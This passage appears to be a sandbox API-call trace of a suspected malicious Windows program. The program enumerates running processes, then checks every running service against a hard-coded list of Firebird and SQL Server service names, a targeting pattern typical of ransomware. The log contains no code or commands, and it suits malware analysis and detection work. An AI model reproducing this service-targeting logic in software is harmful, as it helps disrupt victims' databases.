lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.204] lstrlenW (lpString="svchost.exe") returned 11 [0294.204] Process32NextW (in: hSnapshot=0x574, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.205] lstrlenW (lpString="svchost.exe") returned 11 [0294.205] Process32NextW (in: hSnapshot=0x574, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0294.206] lstrlenW (lpString="spoolsv.exe") returned 11 [0294.206] Process32NextW (in: hSnapshot=0x574, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.206] lstrlenW (lpString="svchost.exe") returned 11 [0294.206] Process32NextW (in: hSnapshot=0x574, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x518, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0294.207] lstrlenW (lpString="audiodg.exe") returned 11 [0294.207] Process32NextW (in: hSnapshot=0x574, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0294.322] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0294.322] Process32NextW (in: hSnapshot=0x574, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0294.323] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0294.323] Process32NextW (in: hSnapshot=0x574, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0294.324] lstrlenW (lpString="Memory Compression") returned 18 [0294.324] Process32NextW (in: hSnapshot=0x574, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.325] lstrlenW (lpString="svchost.exe") returned 11 [0294.325] Process32NextW (in: hSnapshot=0x574, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0294.326] lstrlenW (lpString="sihost.exe") returned 10 [0294.326] Process32NextW (in: hSnapshot=0x574, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0294.327] lstrlenW (lpString="taskhostw.exe") returned 13 [0294.327] Process32NextW (in: hSnapshot=0x574, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0294.328] lstrlenW (lpString="msoia.exe") returned 9 [0294.328] Process32NextW (in: hSnapshot=0x574, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0xa28, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0294.328] lstrlenW (lpString="explorer.exe") returned 12 [0294.328] Process32NextW (in: hSnapshot=0x574, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0294.329] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0294.329] Process32NextW (in: hSnapshot=0x574, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0294.330] lstrlenW (lpString="SearchUI.exe") returned 12 [0294.330] Process32NextW (in: hSnapshot=0x574, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0294.331] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0294.331] Process32NextW (in: hSnapshot=0x574, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0294.332] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0294.332] Process32NextW (in: hSnapshot=0x574, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0294.833] lstrlenW (lpString="chrome64b.exe") returned 13 [0294.833] Process32NextW (in: hSnapshot=0x574, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0294.834] lstrlenW (lpString="dllhost.exe") returned 11 [0294.834] Process32NextW (in: hSnapshot=0x574, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0294.835] lstrlenW (lpString="chrome64b.exe") returned 13 [0294.835] Process32NextW (in: hSnapshot=0x574, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf58, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0294.836] lstrlenW (lpString="cmd.exe") returned 7 [0294.836] Process32NextW (in: hSnapshot=0x574, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0294.837] lstrlenW (lpString="conhost.exe") returned 11 [0294.837] Process32NextW (in: hSnapshot=0x574, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0294.838] CloseHandle (hObject=0x574) returned 1 [0294.838] Sleep (dwMilliseconds=0x1f4) [0295.808] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x699d48 [0295.808] EnumServicesStatusExW (in: hSCManager=0x699d48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0295.809] GetLastError () returned 0xea [0295.809] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1c30) returned 0x460c0e0 [0295.809] EnumServicesStatusExW (in: hSCManager=0x699d48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x460c0e0, cbBufSize=0x1c30, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x460c0e0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0295.810] CloseServiceHandle (hSCObject=0x699d48) returned 1 [0295.811] lstrlenW (lpString="Appinfo") returned 7 [0295.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0295.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0295.811] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0295.811] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0295.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0295.811] lstrlenW (lpString="AppXSvc") returned 7 [0295.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0295.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0295.811] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0295.811] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0295.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0295.811] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0295.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0295.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0295.811] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0295.811] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0295.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0295.811] lstrlenW (lpString="Audiosrv") returned 8 [0295.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0295.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0295.811] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0295.811] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0295.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0295.812] lstrlenW (lpString="BFE") returned 3 [0295.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0295.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0295.812] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0295.812] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0295.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0295.812] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0295.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0295.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0295.812] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0295.812] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0295.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0295.812] lstrlenW (lpString="CDPSvc") returned 6 [0295.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0295.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0295.812] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0295.812] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0295.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0295.812] lstrlenW (lpString="ClickToRunSvc") returned 13 [0295.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0295.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0295.812] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0295.812] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0295.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0295.812] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0295.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0295.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0295.813] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0295.813] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0295.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0295.813] lstrlenW (lpString="CryptSvc") returned 8 [0295.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0295.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0295.813] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0295.813] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0295.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0295.813] lstrlenW (lpString="DcomLaunch") returned 10 [0295.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0295.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0295.813] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0295.813] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0295.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0295.813] lstrlenW (lpString="DeviceAssociationService") returned 24 [0295.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0295.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0295.813] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0295.813] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0295.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0295.813] lstrlenW (lpString="Dhcp") returned 4 [0295.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0295.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0295.814] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0295.814] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0295.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0295.814] lstrlenW (lpString="Dnscache") returned 8 [0295.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0295.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0295.814] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0295.814] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0295.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0295.814] lstrlenW (lpString="DPS") returned 3 [0295.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0295.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0295.814] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0295.814] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0295.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0295.814] lstrlenW (lpString="DusmSvc") returned 7 [0295.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0295.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0295.814] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0295.814] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0295.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0295.814] lstrlenW (lpString="EventLog") returned 8 [0295.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0295.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0295.814] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0295.815] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0295.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0295.815] lstrlenW (lpString="EventSystem") returned 11 [0295.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0295.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0295.815] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0295.815] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0295.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0295.815] lstrlenW (lpString="FontCache") returned 9 [0295.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0295.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0295.815] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0295.815] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0295.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0295.815] lstrlenW (lpString="gpsvc") returned 5 [0295.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0295.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0295.815] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0295.815] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0295.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0295.815] lstrlenW (lpString="iphlpsvc") returned 8 [0295.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0295.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0295.815] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0295.816] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0295.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0295.816] lstrlenW (lpString="KeyIso") returned 6 [0295.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0295.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0295.816] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0295.816] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0295.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0295.816] lstrlenW (lpString="LanmanServer") returned 12 [0295.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0295.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0295.816] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0295.816] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0295.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0295.816] lstrlenW (lpString="LanmanWorkstation") returned 17 [0295.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0295.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0295.816] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0295.816] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0295.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0295.816] lstrlenW (lpString="lfsvc") returned 5 [0295.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0295.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0295.816] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0295.816] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0295.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0295.817] lstrlenW (lpString="lmhosts") returned 7 [0295.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0295.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0295.817] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0295.817] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0295.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0295.817] lstrlenW (lpString="LSM") returned 3 [0295.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0295.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0295.817] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0295.817] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0295.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0295.817] lstrlenW (lpString="MpsSvc") returned 6 [0295.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0295.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0295.817] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0295.817] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0295.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0295.817] lstrlenW (lpString="NcbService") returned 10 [0295.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0295.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0295.817] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0295.817] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0295.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0295.818] lstrlenW (lpString="netprofm") returned 8 [0295.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0295.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0295.818] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0295.818] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0295.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0295.818] lstrlenW (lpString="NgcSvc") returned 6 [0295.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0295.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0295.818] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0295.818] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0295.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0295.818] lstrlenW (lpString="NlaSvc") returned 6 [0295.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0295.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0295.818] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0295.818] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0295.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0295.818] lstrlenW (lpString="nsi") returned 3 [0295.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0295.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0295.818] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0295.818] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0295.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0295.819] lstrlenW (lpString="PcaSvc") returned 6 [0295.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0295.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0295.819] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0295.819] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0295.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0295.819] lstrlenW (lpString="PlugPlay") returned 8 [0295.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0295.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0295.819] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0295.819] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0295.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0295.819] lstrlenW (lpString="Power") returned 5 [0295.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0295.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 